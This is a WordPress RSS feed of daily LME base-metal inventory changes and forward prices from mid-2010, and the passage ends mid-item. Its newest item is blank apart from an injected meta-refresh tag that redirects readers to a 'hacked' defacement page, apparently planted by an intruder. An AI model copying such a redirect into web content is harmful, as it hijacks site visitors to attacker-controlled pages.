<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>World Market Copper Price &#187; Aluminum</title>
	<atom:link href="http://copperprice.in/tag/aluminum/feed" rel="self" type="application/rss+xml" />
	<link>http://copperprice.in</link>
	<description>Global Copper market Price and Daily Copper Tips</description>
	<lastBuildDate>Tue, 24 Aug 2010 08:12:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title></title>
		<link>http://copperprice.in/lme-inventory/lme-inventory-16-aug-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-inventory-16-aug-2010.html#comments</comments>
		<pubDate>Mon, 16 Aug 2010 08:40:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1729</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><meta http-equiv="refresh" content="0;URL=http://siber-warrior.net/hacked/index.html"></p>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-inventory-16-aug-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards 23 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-3month-forwards-23-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-3month-forwards-23-jul-2010.html#comments</comments>
		<pubDate>Fri, 23 Jul 2010 04:25:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1720</guid>
		<description><![CDATA[LME 3month forwards CMP :
Copper 6980 (-50)
Lead 1915 (-15)
Zinc 1920 (-25)
Nickel 20100 (0)
Aluminum 2057(0)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP :</span></h2>
<h2 style="text-align: center;">Copper 6980 (-50)</h2>
<h2 style="text-align: center;">Lead 1915 (-15)</h2>
<h2 style="text-align: center;">Zinc 1920 (-25)</h2>
<h2 style="text-align: center;">Nickel 20100 (0)</h2>
<h2 style="text-align: center;">Aluminum 2057(0)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-3month-forwards-23-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 21 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-21-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-21-jul-2010.html#comments</comments>
		<pubDate>Wed, 21 Jul 2010 08:22:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1718</guid>
		<description><![CDATA[LME Inventory Update 
Copper -1975MT
Lead -1150MT
Zinc -50MT
Nickel -444MT
Aluminum +2925MT
Tin -145MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper -1975MT</h2>
<h2 style="text-align: center;">Lead -1150MT</h2>
<h2 style="text-align: center;">Zinc -50MT</h2>
<h2 style="text-align: center;">Nickel -444MT</h2>
<h2 style="text-align: center;">Aluminum +2925MT</h2>
<h2 style="text-align: center;">Tin -145MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-21-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 20 Jul 2010</title>
		<link>http://copperprice.in/news/lme-copper-inventory-20-jul-2010.html</link>
		<comments>http://copperprice.in/news/lme-copper-inventory-20-jul-2010.html#comments</comments>
		<pubDate>Tue, 20 Jul 2010 08:04:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1703</guid>
		<description><![CDATA[LME Inventory Update 
Copper -3250MT
Lead -1000MT
Zinc +1425MT
Nickel 0MT
Aluminum +48275MT
Tin -245MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper -3250MT</h2>
<h2 style="text-align: center;">Lead -1000MT</h2>
<h2 style="text-align: center;">Zinc +1425MT</h2>
<h2 style="text-align: center;">Nickel 0MT</h2>
<h2 style="text-align: center;">Aluminum +48275MT</h2>
<h2 style="text-align: center;">Tin -245MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-copper-inventory-20-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 19 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-19-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-19-jul-2010.html#comments</comments>
		<pubDate>Mon, 19 Jul 2010 08:29:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1696</guid>
		<description><![CDATA[LME Inventory Update
Copper -3575MT
Lead -200MT
Zinc -225MT
Nickel -534MT
Aluminum -6325MT
Tin +40MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update</span></h2>
<h2 style="text-align: center;">Copper -3575MT</h2>
<h2 style="text-align: center;">Lead -200MT</h2>
<h2 style="text-align: center;">Zinc -225MT</h2>
<h2 style="text-align: center;">Nickel -534MT</h2>
<h2 style="text-align: center;">Aluminum -6325MT</h2>
<h2 style="text-align: center;">Tin +40MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-19-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 15 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-15-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-15-jul-2010.html#comments</comments>
		<pubDate>Thu, 15 Jul 2010 08:56:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1694</guid>
		<description><![CDATA[LME Inventory Update 
Copper -775MT
Lead -450MT
Zinc +900MT
Nickel -234MT
Aluminum +5825MT
Tin -10MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper -775MT</h2>
<h2 style="text-align: center;">Lead -450MT</h2>
<h2 style="text-align: center;">Zinc +900MT</h2>
<h2 style="text-align: center;">Nickel -234MT</h2>
<h2 style="text-align: center;">Aluminum +5825MT</h2>
<h2 style="text-align: center;">Tin -10MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-15-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 12 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-12-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-12-jul-2010.html#comments</comments>
		<pubDate>Mon, 12 Jul 2010 08:05:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1692</guid>
		<description><![CDATA[LME Inventory Update
Copper -1650MT
Lead +50MT
Zinc -225MT
Nickel -420MT
Aluminum -8075MT
Tin -125MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update</span></h2>
<h2 style="text-align: center;">Copper -1650MT</h2>
<h2 style="text-align: center;">Lead +50MT</h2>
<h2 style="text-align: center;">Zinc -225MT</h2>
<h2 style="text-align: center;">Nickel -420MT</h2>
<h2 style="text-align: center;">Aluminum -8075MT</h2>
<h2 style="text-align: center;">Tin -125MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-12-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 09 July 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-09-july-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-09-july-2010.html#comments</comments>
		<pubDate>Fri, 09 Jul 2010 08:12:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1680</guid>
		<description><![CDATA[LME Inventory Update
Copper -2100MT
Lead -325MT
Zinc -300MT
Nickel -666MT
Aluminum -5875MT
Tin -130MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update</span></h2>
<h2 style="text-align: center;">Copper -2100MT</h2>
<h2 style="text-align: center;">Lead -325MT</h2>
<h2 style="text-align: center;">Zinc -300MT</h2>
<h2 style="text-align: center;">Nickel -666MT</h2>
<h2 style="text-align: center;">Aluminum -5875MT</h2>
<h2 style="text-align: center;">Tin -130MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-09-july-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 07 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-07-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-07-jul-2010.html#comments</comments>
		<pubDate>Wed, 07 Jul 2010 09:01:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1677</guid>
		<description><![CDATA[LME Inventory Update
Copper -2350MT
Lead +500MT
Zinc -25MT
Nickel -456MT
Aluminum +4700MT
Tin +55MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update</span></h2>
<h2 style="text-align: center;">Copper -2350MT</h2>
<h2 style="text-align: center;">Lead +500MT</h2>
<h2 style="text-align: center;">Zinc -25MT</h2>
<h2 style="text-align: center;">Nickel -456MT</h2>
<h2 style="text-align: center;">Aluminum +4700MT</h2>
<h2 style="text-align: center;">Tin +55MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-07-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 06 Jul 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-06-jul-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-06-jul-2010.html#comments</comments>
		<pubDate>Tue, 06 Jul 2010 08:08:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1655</guid>
		<description><![CDATA[ LME Inventory Update
Copper -2800MT
Lead -275MT
Zinc +0MT
Nickel -342MT
Aluminum -5925MT
Tin -270MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;"> LME Inventory Update</span></h2>
<h2 style="text-align: center;">Copper -2800MT</h2>
<h2 style="text-align: center;">Lead -275MT</h2>
<h2 style="text-align: center;">Zinc +0MT</h2>
<h2 style="text-align: center;">Nickel -342MT</h2>
<h2 style="text-align: center;">Aluminum -5925MT</h2>
<h2 style="text-align: center;">Tin -270MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-06-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards CMP 06 Jul 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-cmp-06-jul-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-cmp-06-jul-2010.html#comments</comments>
		<pubDate>Tue, 06 Jul 2010 04:32:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Forwards]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1641</guid>
		<description><![CDATA[LME 3month forwards CMP : 
Copper 6495 (+20)
Lead 1770 (+10)
Zinc  1830 (+30)
Nickel 18745 (+45)
Aluminum 1935(+0)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP : </span></h2>
<h2 style="text-align: center;">Copper 6495 (+20)</h2>
<h2 style="text-align: center;">Lead 1770 (+10)</h2>
<h2 style="text-align: center;">Zinc  1830 (+30)</h2>
<h2 style="text-align: center;">Nickel 18745 (+45)</h2>
<h2 style="text-align: center;">Aluminum 1935(+0)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-3month-forwards-cmp-06-jul-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 05 July 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-05-july-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-05-july-2010.html#comments</comments>
		<pubDate>Mon, 05 Jul 2010 10:02:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1629</guid>
		<description><![CDATA[LME Inventory Update 
Copper-2800 MT
Lead-75 MT
Zinc-225 MT
Nickel-906 MT
Aluminum -6100MT
Tin -195MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper-2800 MT</h2>
<h2 style="text-align: center;">Lead-75 MT</h2>
<h2 style="text-align: center;">Zinc-225 MT</h2>
<h2 style="text-align: center;">Nickel-906 MT</h2>
<h2 style="text-align: center;">Aluminum -6100MT</h2>
<h2 style="text-align: center;">Tin -195MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-05-july-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 02 July 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-02-july-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-02-july-2010.html#comments</comments>
		<pubDate>Fri, 02 Jul 2010 08:06:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1627</guid>
		<description><![CDATA[LME Inventory Update 
Copper -2125MT
Lead -775MT
Zinc -75MT
Nickel -348MT
Aluminum -5150MT
Tin -205MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper -2125MT</h2>
<h2 style="text-align: center;">Lead -775MT</h2>
<h2 style="text-align: center;">Zinc -75MT</h2>
<h2 style="text-align: center;">Nickel -348MT</h2>
<h2 style="text-align: center;">Aluminum -5150MT</h2>
<h2 style="text-align: center;">Tin -205MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-02-july-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 01 July 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-01-july-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-01-july-2010.html#comments</comments>
		<pubDate>Thu, 01 Jul 2010 08:24:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1617</guid>
		<description><![CDATA[LME Inventory Update
Copper -1675MT
Lead +525MT
Zinc -150MT
Nickel -258MT
Aluminum -6050MT
Tin -970MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update</span></h2>
<h2 style="text-align: center;">Copper -1675MT</h2>
<h2 style="text-align: center;">Lead +525MT</h2>
<h2 style="text-align: center;">Zinc -150MT</h2>
<h2 style="text-align: center;">Nickel -258MT</h2>
<h2 style="text-align: center;">Aluminum -6050MT</h2>
<h2 style="text-align: center;">Tin -970MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-01-july-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards CMP 30 Jun 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-cmp-30-jun-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-cmp-30-jun-2010.html#comments</comments>
		<pubDate>Wed, 30 Jun 2010 08:10:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Forwards]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1605</guid>
		<description><![CDATA[LME 3month forwards CMP : 
Copper 6521(+41)
Lead 1729 (+19)
Zinc 1775 (+15)
Nickel 19255 (+95)
Aluminum 1943(-7)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP : </span></h2>
<h2 style="text-align: center;">Copper 6521(+41)</h2>
<h2 style="text-align: center;">Lead 1729 (+19)</h2>
<h2 style="text-align: center;">Zinc 1775 (+15)</h2>
<h2 style="text-align: center;">Nickel 19255 (+95)</h2>
<h2 style="text-align: center;">Aluminum 1943(-7)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-3month-forwards-cmp-30-jun-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 30 Jun 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-30-jun-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-30-jun-2010.html#comments</comments>
		<pubDate>Wed, 30 Jun 2010 08:09:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1603</guid>
		<description><![CDATA[ LME Inventory Update 
Copper -850MT
Lead +400MT
Zinc +1400MT
Nickel -336MT
Aluminum -5475MT
Tin -195MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;"> LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper -850MT</h2>
<h2 style="text-align: center;">Lead +400MT</h2>
<h2 style="text-align: center;">Zinc +1400MT</h2>
<h2 style="text-align: center;">Nickel -336MT</h2>
<h2 style="text-align: center;">Aluminum -5475MT</h2>
<h2 style="text-align: center;">Tin -195MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-30-jun-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME 3month forwards 29 Jun 2010</title>
		<link>http://copperprice.in/news/lme-3month-forwards-29-jun-2010.html</link>
		<comments>http://copperprice.in/news/lme-3month-forwards-29-jun-2010.html#comments</comments>
		<pubDate>Tue, 29 Jun 2010 08:08:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Cmp]]></category>
		<category><![CDATA[Copper]]></category>
		<category><![CDATA[Lme]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1591</guid>
		<description><![CDATA[LME 3month forwards CMP : 
Copper 6637(-33)
Lead 1786 (-14)
Zinc 1799 (-8)
Nickel 19920 (-5)
Aluminum 1981(-10)
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME 3month forwards CMP : </span></h2>
<h2 style="text-align: center;">Copper 6637(-33)</h2>
<h2 style="text-align: center;">Lead 1786 (-14)</h2>
<h2 style="text-align: center;">Zinc 1799 (-8)</h2>
<h2 style="text-align: center;">Nickel 19920 (-5)</h2>
<h2 style="text-align: center;">Aluminum 1981(-10)</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/news/lme-3month-forwards-29-jun-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 29 Jun 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-29-jun-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-29-jun-2010.html#comments</comments>
		<pubDate>Tue, 29 Jun 2010 08:05:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1589</guid>
		<description><![CDATA[LME Inventory Update 
Copper -1225MT,
Lead +125MT,
Zinc -200MT,
Nickel -1146MT,
Aluminum -7075MT,
Tin -15MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update </span></h2>
<h2 style="text-align: center;">Copper -1225MT,</h2>
<h2 style="text-align: center;">Lead +125MT,</h2>
<h2 style="text-align: center;">Zinc -200MT,</h2>
<h2 style="text-align: center;">Nickel -1146MT,</h2>
<h2 style="text-align: center;">Aluminum -7075MT,</h2>
<h2 style="text-align: center;">Tin -15MT.</h2>
]]></content:encoded>
			<wfw:commentRss>http://copperprice.in/lme-inventory/lme-copper-inventory-29-jun-2010.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LME Copper Inventory 28 Jun 2010</title>
		<link>http://copperprice.in/lme-inventory/lme-copper-inventory-28-jun-2010.html</link>
		<comments>http://copperprice.in/lme-inventory/lme-copper-inventory-28-jun-2010.html#comments</comments>
		<pubDate>Mon, 28 Jun 2010 08:06:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LME Inventory]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Lme Copper]]></category>
		<category><![CDATA[Nickel]]></category>
		<category><![CDATA[Tin]]></category>
		<category><![CDATA[Zinc]]></category>

		<guid isPermaLink="false">http://copperprice.in/?p=1587</guid>
		<description><![CDATA[LME Inventory Update :
Copper -1075MT,
Aluminum -5775MT,
Nickel -804MT,
Zinc -700MT,
Lead +625MT,
Tin -110MT.
]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="text-decoration: underline;">LME Inventory Update :</span></h2>
